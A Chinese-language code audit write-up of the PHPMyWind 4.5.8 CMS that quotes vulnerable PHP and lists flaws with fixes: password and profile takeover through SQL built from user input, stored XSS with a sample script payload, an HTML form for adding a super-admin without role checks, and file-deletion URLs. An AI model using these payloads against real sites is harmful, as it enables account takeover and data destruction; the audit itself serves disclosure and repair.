HdhCmsTest2cto测试数据:作者求职信息也保留了,祝他好运 年底就离校了,大专,软件测试专业。求安全公司收留。渗透测试、软件测试、代码审计都可以,最好是做安全。联系方式:root@cnseay测试数据
PHPMyWind 介绍:
PHPMyWind 是一款基于 PHP+MySQL 开发,符合 W3C 标准的建站引擎。适用于企业级建站的首选利器。开发之初,团队就从适用于企业级建站为突破口,增强程序的易用性,灵活性,可拆分性,致力于为国内企业网站提供 [ 核动力 [ 。 [PHPMyWind 是一款基于 PHP+MySQL 开发,符合 W3C 标准的建站引擎。适用于企业级建站的首选利器。开发之初,团队就从适用于企业级建站为突破口,增强程序的易用性,灵活性,可拆分性,致力于为国内企业网站提供 " 核动力 " 。
作者: Seay
博客:http://HdhCmsTestcnseay测试数据/
说明:看代码审计的文章,是要学思路,而不是用别人的成果去入侵。不断学习,不断钻研,才能不断进步。
审计环境:
用到的工具:Seay PHP 代码审计工具 2012 终结版
下载地址:http://HdhCmsTest2cto测试数据/soft/201211/35083.html
过滤函数:80sec提供的过滤函数,过滤了一些像union的特殊字符。。。
include\\common.inc.php文件已经对提交上来的数据进行转义。
文件结构:
我们先用工具载入源码,函数扫描一遍。
一、任意会员密码 + 资料修改漏洞:
任意会员密码密码修改:
漏洞文件: \\member.php
代码:
//设置新密码
346 else if($a == 'setnewpwd')
347 {
348 if(!isset($_POST['uname'])) //可输入变量$_POST 可能存在安全威胁
349 {
350 header(‘location:?c=findpwd’);
351 exit();
352 }
353
354
355 //初始化参数
356 $uname = empty($uname) ? ] : $uname;
357 $password = empty($password) ? ] : md5(md5($password));
358 $repassword = empty($repassword) ? ] : md5(md5($repassword));
359
360
361 //验证输入数据
362 if($uname == ] or
363 $password == ] or
364 $repassword == ] or
365 $password != $repassword or
366 preg_match([/[^0-9a-zA-Z_-]/],$password))
367 {
368 header(‘location:?c=findpwd’);
369 exit();
370 }
371
372
373 if($dosql->ExecNoneQuery([UPDATE `detest_member` SET password=’$password’ WHERE username=’$uname’]))
374 {
375 header([location:?c=login&d=].md5(‘newpwd’));
376 exit();
377 }
378 }
直接取到’uname’ 就带入到数据库。我们可以抓包,把 uname 修改成其他用户名,重新提交数据包即可修改其密码。我们可以跟踪 ExecNoneQuery函数看一下。
在 include/mysql.class.php 文件中。
// 执行一个不返回结果的 SQL 语句,如 update,delete,insert 等
function ExecNoneQuery($sql=])
{
global $dosql;
if($dosql->isclose)
{
$this->Open(false);
$dosql->isclose = false;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
else
{
return false;
}
//SQL 语句安全检查
if($this->safecheck)
{
$this->CheckSql($this->querystring,’update’);
}
if(mysql_query($this->querystring, $this->linkid))
{
return true;
}
else
{
$this->DisplayError(mysql_error().’ Error sql: ’.$this->querystring);
exit();
}
}
看到标红的SetQuery($sql); 。 我们继续跟踪。函数还是在本文件内。
// 设置 SQL 语句,会自动把 SQL 语句里的 detest_ 替换为 $this->db_tablepre( 在配置文件中为 $db_tablepre)
function SetQuery($sql)
{
$prefix = ’detest_’;
$this->querystring = str_replace($prefix, $this->db_tablepre, $sql);
}
看到只是拼接下 SQL 语句而已,最终把 SQL 语句交给了 querystring 变量。
继续回到 ExecNoneQuery 函数。我们看到
//SQL 语句安全检查
if($this->safecheck)
{
$this->CheckSql($this->querystring,’update’);
}
$this->result[$id] = mysql_query($this->querystring, $this->linkid);
if(empty($this->result[$id]) && $this->result[$id]===false)
{
$this->DisplayError(mysql_error().’ Error sql: ’.$this->querystring);
exit();
}
继续跟踪 CheckSql 函数,就看到蛋疼的东西了。
//SQL 语句过滤程序,由 80sec 提供,这里作了适当的修改
function CheckSql($sql, $querytype=’select’)
{
$clean = ];
$error = ];
$pos = -1;
$old_pos = 0;
// 如果是普通查询语句,直接过滤一些特殊语法
if($querytype == ’select’)
{
if(preg_match(‘/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/’, $sql))
{
$this->DisplayError([$sql||SelectBreak],1);
}
/* 省略 */
蛋疼的拼接好 SQL 语句再检查。。。
修复:SQL 语句 where 后面的值从 session 中获取。
任意会员资料修改:
同样在\\member.php 文件,看到更新资料处。
//更新资料
413 else if($a == ’saveedit’)
414 {
415 if($password!=$repassword or
416 $email==])
417 {
418 header(‘location:?c=edit’);
419 exit();
420 }
421
422
423 //检测旧密码是否正确
424 if($password != ])
425 {
426 $oldpassword = md5(md5($oldpassword));
427 $r = $dosql->GetOne([SELECT `password` FROM `detest_member` WHERE `username`=’$c_uname’]); //可能存在SQL查询语句,请注意是否过滤
428 if($r['password'] != $oldpassword)
429 {
430 ShowMsg(‘抱歉,旧密码错误!’,'-1′);
431 exit();
432 }
433 }
434
435 $sql = ]UPDATE `detest_member` SET ];
436 if($password != ])
437 {
438 $password = md5(md5($password));
439 $sql .= ]password=’$password’, ];
440 }
441 @$sql .= ]question=’$question’, answer=’$answer’, cnname=’$cnname’, enname=’$enname’, sex=’$sex’, birthtype=’$birthtype’, birth_year=’$birth_year’, birth_month=’$birth_month’, birth_day=’$birth_day’, astro=’$astro’, bloodtype=’$bloodtype’, live_prov=’$live_prov’, live_city=’$live_city’, live_country=’$live_country’, home_prov=’$home_prov’, home_city=’$home_city’, home_country=’$home_country’, cardtype=’$cardtype’, cardnum=’$cardnum’, intro=’$intro’, email=’$email’, qqnum=’$qqnum’, mobile=’$mobile’, telephone=’$telephone’, address_prov=’$address_prov’, address_city=’$address_city’, address_country=’$address_country’, address=’$address’, zipcode=’$zipcode’ WHERE id=$id];
442
443 if($dosql->ExecNoneQuery($sql))
444 {
445 ShowMsg(‘资料更新成功!’,'?c=edit’);
446 exit();
447 }
448 }
我们看到 SQL 语句是直接拼接起来的,跟之前密码修改一样, $id 我们可控,修改下密保或者邮箱就可以直接找回密码。
修复:同理, SQL 语句 where 后面的值从 session 中获取。
当然同类的小缺陷还有,就不列出来了,主要是对网站危害不大。如果会员跟管理员在一个表,那你们懂得。。。但是现实总是那么残酷啊 , 好了,不做梦乱想了。。。
二、会员资料 XSS 漏洞
代码还是上面那段代码。未对特殊字符做编码处理,产生 XSS 漏洞。
我们在[通信地址]处输入[]><script>alert(/xss)<script> ] . 。
点击更新,立马触发,我们再到后台用户管理看看。
很鸡肋啊,不过动动你的脑筋,结合社会工程学,让管理查看下你的资料,也不是不可能的事。再结合上次 Yaseng 基友说的 CSRF ,就可以直接 Getshell 。
修复:对提交的字符特殊字符做编码处理
三、后台越权添加 + 审核 + 删除任意用户信息(含密码)
越权添加用户:
后台用户信息保存的文件 admin\\admin_save.php
验证了是否登录,但是没验证管理员的角色,我们可以构造一个 POST 的包,即可添加超级管理员。
18 //添加管理员
19 if($action == ’add’)
20 {
21 if(preg_match([/[^0-9a-zA-Z_@!\.-]/],$username) || preg_match([/[^0-9a-zA-Z_@!\.-]/],$password))
22 {
23 ShowMsg(‘用户名或密码非法!请使用[0-9a-zA-Z_@!.-]内的字符!’, ’-1′);
24 exit();
25 }
26
27 if($dosql->GetOne([SELECT id FROM `$tbname` WHERE username=’$username’])) //可能存在SQL查询语句,请注意是否过滤
28 {
29 ShowMsg(‘用户名已存在!’, ’-1′);
30 exit();
31 }
32
33 $password = md5(md5($password));
34 $loginip = ’127.0.0.1′;
35 $logintime = time();
36
37 $sql = ]INSERT INTO `$tbname` (username, password, loginip, logintime, levelname, checkadmin) VALUES (‘$username’, ’$password’, ’$loginip’, ’$logintime’, ’$levelname’, ’$checkadmin’)];
38 if($dosql->ExecNoneQuery($sql))
39 {
40 header([location:$gourl]);
41 exit();
42 }
43 }
俺写的一个提交的页面,要在登录的情况下:
<form name=]form] id=]form] method=]post] action=]http://localhost/admin/admin_save.php?action=add]>
<label></label>
<table width=]284″ height=]103″ border=]1″ align=]center]>
<tr>
<td width=]74″>用户名:</td>
<td width=]194″><label>
<input type=]text] name=]username] class=]class_input] id=]username] />
</label></td>
</tr>
<tr>
<td>密 码:</td>
<td><input type=]password] name=]password] class=]class_input] id=]password] /></td>
</tr>
<tr>
<td>权 限:</td>
<td><select name=]levelname] id=]levelname]>
<option value=]0″>超级管理员</option>
<option value=]1″>普通管理员</option>
<option value=]2″>文章发布员</option>
</select></td>
</tr>
<tr>
<td>审 核:</td>
<td><input type=]radio] name=]checkadmin] value=]true] checked=]checked]>
已审核 </td>
</tr>
<tr>
<td colspan=]2″ align=]center]><label>
<input type=]submit] name=]Submit] value=] 添 加 ] />
</label></td>
</tr>
</table>
</form>
可以用来权限提升。
越权删除管理
108 //删除管理员
109 else if($action == ’del’)
110 {
111 if($id == 1)
112 {
113 ShowMsg(‘抱歉,不能删除创始账号!’,'-1′);
114 exit();
115 }
116
117 if($dosql->ExecNoneQuery([DELETE FROM `$tbname` WHERE id=$id]))
118 {
119 header([location:$gourl]);
120 exit();
121 }
122 }
123
124
125 //无条件返回
126 else
127 {
128 header([location:$gourl]);
129 exit();
130 }
131 ?>
还有审核同样。。。。
修复:操作前验证管理权限
四、后台多处任意文件+目录删除漏洞
先看admin/upload_filemgr_save.php文件。
//初始化参数
$gourl = isset($dirname) ? ’upload_filemgr_dir.php?dirname=’.$dirname : ’upload_filemgr_dir.php’;
$dirname = isset($dirname) ? $dirname : ];
$filename = isset($filename) ? $filename : ];
//删除文件
if($action == ’delfile’)
{
$dstring = ’’.$dirname.$filename;
if(file_exists($dstring))
{
if(@unlink($dstring))
{
header([location:$gourl]);
exit();
}
else
{
ShowMsg(‘未知错误,文件删除失败!’, $gourl);
exit();
}
}
else
{
ShowMsg(‘在目录中未找到该文件,请尝试刷新文件列表!’, $gourl);
exit();
}
}
dirname 和filename 均未过滤,多个文件都是这样。删…
http://localhost/phpmywind/admin/database_backup.php?action=import&dopost=del&dirname=2012_1115000841_VZeCyy&tbname=pmw_admanage_0_jIzU7L.txt
http://localhost/phpmywind/admin/upload_filemgr_save.php?mode=dir&action=delfile&dirname=uploads%2Fimage%2F&filename=index.htm
…..
修复:过滤目录。。。
五、后台目录浏览漏洞
/admin/upload_filemgr_dir.php文件中dirname过滤不严,导致任意目录浏览+删除。
修复: 同理,过滤
查看更多关于phpmywind4.5.8代码审计缺陷打包和修复方案 - 网站的详细内容...